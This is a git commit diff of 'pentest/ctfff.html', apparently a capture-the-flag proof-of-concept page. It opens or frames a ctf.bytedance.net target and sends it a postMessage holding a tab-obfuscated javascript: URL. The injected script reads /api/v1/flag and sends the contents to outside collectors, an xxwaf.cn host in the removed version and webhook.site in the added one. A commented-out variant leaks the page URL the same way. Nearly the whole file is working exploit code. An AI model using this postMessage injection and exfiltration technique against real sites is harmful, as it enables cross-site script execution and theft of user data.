Update ctfff.html

SbIm · web-flow · commit ffbcc02dc895 · 2023-10-21T15:46:43.000+08:00
diff --git a/pentest/ctfff.html b/pentest/ctfff.html
@@ -1,23 +1,29 @@
-<!doctype html>
-        <html>
-            <head>
-                <meta charset="UTF-8" />
-                <title>Postmessage PoC</title>
-                <script>
-                        let msg = "{ type: 'jump', url: 'javas\x09cript:function get(url){try{var req=new XMLHttpRequest();req.open(\"GET\",url,true);req.send(null);if(req.status==200)return req.responseText}catch(err){}return null}var flag=get(window.parent.location.origin+\"/api/v1/flag\");get(\"http://dbrhcs.xxwaf.cn/?\"+escape(flag))'}";
-                        function pocLink() {
-                        let win = window.open("https://af10cc37bc91678496d8a6ca2386e167.ctf.bytedance.net/");
-                        setTimeout(function(){
-                            win.postMessage(msg, '*');
-                        }, 5000);
-                    }
-                    function pocFrame(win) {           
-                        win.postMessage(msg, '*');          
-                    }
-                    pocLink();
-                </script>
-            </head>
-            <body>
-                <iframe src="https://af10cc37bc91678496d8a6ca2386e167.ctf.bytedance.net/" onload="pocFrame(this.contentWindow)"></iframe>                    
-            </body>
+<!DOCTYPE html>
+<html>
+<head>
+    <title></title>
+ <meta charset="utf-8" />
+ <!-- <iframe src="https://a905e2c80491e60fb4af502e599dce99.ctf.bytedance.net/"></iframe> -->
+<script>
+function openChild() {
+    child = window.open('https://af10cc37bc91678496d8a6ca2386e167.ctf.bytedance.net/', 'popup', 'height=300px, width=500px');
+}
+function sendMessage(){
+    child = window.open('https://af10cc37bc91678496d8a6ca2386e167.ctf.bytedance.net/', 'height=300px, width=500px');
+    setTimeout(function(){
+        // child.postMessage({type: 'jump', url: 'javascri\x09pt:window.location.href=\'https://webhook.site/ceec3683-d881-4baa-9650-e86f2e3a9837/?\'+window.location.href'}, '*');
+        child.postMessage({ type: 'jump', url: 'javas\x09cript:function get(url){try{var req=new XMLHttpRequest();req.open(\"GET\",url,true);req.send(null);if(req.status==200)return req.responseText}catch(err){}return null}var flag=get(\"https://af10cc37bc91678496d8a6ca2386e167.ctf.bytedance.net/api/v1/flag\");get(\"https://webhook.site/ceec3683-d881-4baa-9650-e86f2e3a9837/?\"+escape(flag))'}, '*');
+    }, 2000);
+}
+sendMessage();
+</script>
+</head>
+<body>
+    <form>
+        <fieldset>
+            <input type='button' id='btnopen' value='Open child' onclick='openChild();' />
+            <input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
+        </fieldset>
+    </form>
+</body>
 </html>
